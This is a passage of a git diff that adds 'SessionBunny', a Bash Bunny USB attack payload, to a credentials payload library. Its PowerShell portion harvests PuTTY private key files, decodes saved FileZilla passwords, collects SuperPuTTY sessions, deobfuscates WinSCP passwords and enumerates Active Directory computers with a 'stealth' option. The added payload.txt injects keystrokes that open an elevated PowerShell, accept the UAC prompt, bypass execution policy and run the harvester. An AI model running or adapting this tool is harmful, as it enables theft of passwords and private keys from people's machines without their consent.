[void]$ArrayOfPPKFiles.Add($PPKFileObject) + + } + + if ($ArrayOfPPKFiles.count -gt 0) { + + $UserObject | Add-Member -MemberType NoteProperty -Name "PPK Files" -Value $ArrayOfPPKFiles + + if ($OutCSV) { + $ArrayOfPPKFiles | Select-Object * | Export-CSV -Append -Path ($OutputDirectory + "\PuTTY ppk Files.csv") -NoTypeInformation + } else { + Write-Output "PuTTY Private Key Files (.ppk)" + $ArrayOfPPKFiles | Select-Object * | Format-List | Out-String + } + + } + +} # Process PPK File + +function ProcessFileZillaFile($FileZillaXML) { + + # Locate all nodes (aka session nodes), iterate over them + foreach($FileZillaSession in $FileZillaXML.SelectNodes('//FileZilla3/Servers/Server')) { + # Hashtable to store each session's data + $FileZillaSessionHash = @{} + + # Iterates over each child node under (aka session) + $FileZillaSession.ChildNodes | ForEach-Object { + + $FileZillaSessionHash["Source"] = $Source + # If value exists, make a key-value pair for it in the hash table + if ($_.InnerText) { + if ($_.Name -eq "Pass") { + $FileZillaSessionHash["Password"] = $_.InnerText + } else { + # Populate session data based on the node name + $FileZillaSessionHash[$_.Name] = $_.InnerText + } + + } + + } + + # Create object from collected data, excluding some trivial information + [void]$ArrayOfFileZillaSessions.Add((New-Object PSObject -Property $FileZillaSessionHash | Select-Object -Property * -ExcludeProperty "#text",LogonType,Type,BypassProxy,SyncBrowsing,PasvMode,DirectoryComparison,MaximumMultipleConnections,EncodingType,TimezoneOffset,Colour)) + + } # ForEach FileZillaSession in FileZillaXML.SelectNodes() + + # base64_decode the stored encoded session passwords, and decode protocol + foreach ($Session in $ArrayOfFileZillaSessions) { + $Session.Password = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($Session.Password)) + if ($Session.Protocol -eq "0") { + $Session.Protocol = "Use FTP over TLS if available" + } elseif ($Session.Protocol -eq 1) { + $Session.Protocol = "Use SFTP" + } elseif ($Session.Protocol -eq 3) { + $Session.Protocol = "Require implicit FTP over TLS" + } elseif ($Session.Protocol -eq 4) { + $Session.Protocol = "Require explicit FTP over TLS" + } elseif ($Session.Protocol -eq 6) { + $Session.Protocol = "Only use plain FTP (insecure)" + } + } + + if ($OutCSV) { + $ArrayOfFileZillaSessions | Export-CSV -Append -Path ($OutputDirectory + "\FileZilla.csv") -NoTypeInformation + } else { + Write-Output "FileZilla Sessions" + $ArrayOfFileZillaSessions | Format-List | Out-String + } + + # Add the array of FileZilla session objects to the target user object + $UserObject | Add-Member -MemberType NoteProperty -Name "FileZilla Sessions" -Value $ArrayOfFileZillaSessions + +} # ProcessFileZillaFile + +function ProcessSuperPuTTYFile($SuperPuTTYXML) { + + foreach($SuperPuTTYSessions in $SuperPuTTYXML.ArrayOfSessionData.SessionData) { + + foreach ($SuperPuTTYSession in $SuperPuTTYSessions) { + if ($SuperPuTTYSession -ne $null) { + + $SuperPuTTYSessionObject = "" | Select-Object -Property "Source","SessionId","SessionName","Host","Username","ExtraArgs","Port","Putty Session" + + $SuperPuTTYSessionObject."Source" = $Source + $SuperPuTTYSessionObject."SessionId" = $SuperPuTTYSession.SessionId + $SuperPuTTYSessionObject."SessionName" = $SuperPuTTYSession.SessionName + $SuperPuTTYSessionObject."Host" = $SuperPuTTYSession.Host + $SuperPuTTYSessionObject."Username" = $SuperPuTTYSession.Username + $SuperPuTTYSessionObject."ExtraArgs" = $SuperPuTTYSession.ExtraArgs + $SuperPuTTYSessionObject."Port" = $SuperPuTTYSession.Port + $SuperPuTTYSessionObject."PuTTY Session" = $SuperPuTTYSession.PuttySession + + [void]$ArrayOfSuperPuTTYSessions.Add($SuperPuTTYSessionObject) + } + } + + } # ForEach SuperPuTTYSessions + + if ($OutCSV) { + $ArrayOfSuperPuTTYSessions | Export-CSV -Append -Path ($OutputDirectory + "\SuperPuTTY.csv") -NoTypeInformation + } else { + Write-Output "SuperPuTTY Sessions" + $ArrayOfSuperPuTTYSessions | Out-String + } + + # Add the array of SuperPuTTY session objects to the target user object + $UserObject | Add-Member -MemberType NoteProperty -Name "SuperPuTTY Sessions" -Value $ArrayOfSuperPuTTYSessions + +} # ProcessSuperPuTTYFile + +#################################################################################### +#################################################################################### +## WinSCP Deobfuscation Helper Functions +#################################################################################### +#################################################################################### + +# Gets all domain-joined computer names and properties in one object +function GetComputersFromActiveDirectory { + + $objDomain = New-Object System.DirectoryServices.DirectoryEntry + $objSearcher = New-Object System.DirectoryServices.DirectorySearcher + $objSearcher.SearchRoot = $objDomain + if ($ExcludeDC) { + Write-Verbose "Skipping enumeration against the Domain Controller(s) for stealth." + $Filter = "(&(objectCategory=computer)(!userAccountControl:1.2.840.113556.1.4.803:=8192))" + } else { + $Filter = "(objectCategory=computer)" + } + + $objSearcher.Filter = $Filter + + $colProplist = "name" + + foreach ($i in $colPropList){$objSearcher.PropertiesToLoad.Add($i)} + + $objSearcher.FindAll() + +} + +function DecryptNextCharacterWinSCP($remainingPass) { + + # Creates an object with flag and remainingPass properties + $flagAndPass = "" | Select-Object -Property flag,remainingPass + + # Shift left 4 bits equivalent for backwards compatibility with older PowerShell versions + $firstval = ("0123456789ABCDEF".indexOf($remainingPass[0]) * 16) + $secondval = "0123456789ABCDEF".indexOf($remainingPass[1]) + + $Added = $firstval + $secondval + + $decryptedResult = (((-bnot ($Added -bxor $Magic)) % 256) + 256) % 256 + + $flagAndPass.flag = $decryptedResult + $flagAndPass.remainingPass = $remainingPass.Substring(2) + + $flagAndPass + +} + +function DecryptWinSCPPassword($SessionHostname, $SessionUsername, $Password) { + + $CheckFlag = 255 + $Magic = 163 + + $len = 0 + $key = $SessionHostname + $SessionUsername + $values = DecryptNextCharacterWinSCP($Password) + + $storedFlag = $values.flag + + if ($values.flag -eq $CheckFlag) { + $values.remainingPass = $values.remainingPass.Substring(2) + $values = DecryptNextCharacterWinSCP($values.remainingPass) + } + + $len = $values.flag + + $values = DecryptNextCharacterWinSCP($values.remainingPass) + $values.remainingPass = $values.remainingPass.Substring(($values.flag * 2)) + + $finalOutput = "" + for ($i=0; $i -lt $len; $i++) { + $values = (DecryptNextCharacterWinSCP($values.remainingPass)) + $finalOutput += [char]$values.flag + } + + if ($storedFlag -eq $CheckFlag) { + $finalOutput.Substring($key.length) + } + + $finalOutput +} \ No newline at end of file diff --git a/payloads/library/credentials/SessionBunny/censorepic.png b/payloads/library/credentials/SessionBunny/censorepic.png new file mode 100644 index 00000000..fedc54fd Binary files /dev/null and b/payloads/library/credentials/SessionBunny/censorepic.png differ diff --git a/payloads/library/credentials/SessionBunny/payload.txt b/payloads/library/credentials/SessionBunny/payload.txt new file mode 100644 index 00000000..4531e181 --- /dev/null +++ b/payloads/library/credentials/SessionBunny/payload.txt @@ -0,0 +1,44 @@ +#!/bin/bash +# +# Title: SessionBunny +# Author: 0iphor13 +# Version: 1.0 +# Category: Credentials +# Attackmodes: HID, Storage + +LED SETUP + +Q DELAY 500 + +GET SWITCH_POSITION +DUCKY_LANG de + +Q DELAY 500 + +ATTACKMODE HID STORAGE + +#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING + +LED STAGE1 + +Q DELAY 1000 +RUN WIN "powershell Start-Process powershell -Verb runAs" +Q ENTER +Q DELAY 1000 +Q ALT j +Q DELAY 500 + +Q DELAY 1000 +Q STRING "powershell -exec bypass" +Q DELAY 500 +Q ENTER +Q DELAY 250 +Q STRING "Import-Module((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\SessionBunny.ps1')" +Q DELAY 250 +Q ENTER +Q DELAY 250 +Q STRING "Invoke-SessionBunny -Everything" +Q DELAY 250 +Q ENTER + +LED FINISH \ No newline at end of file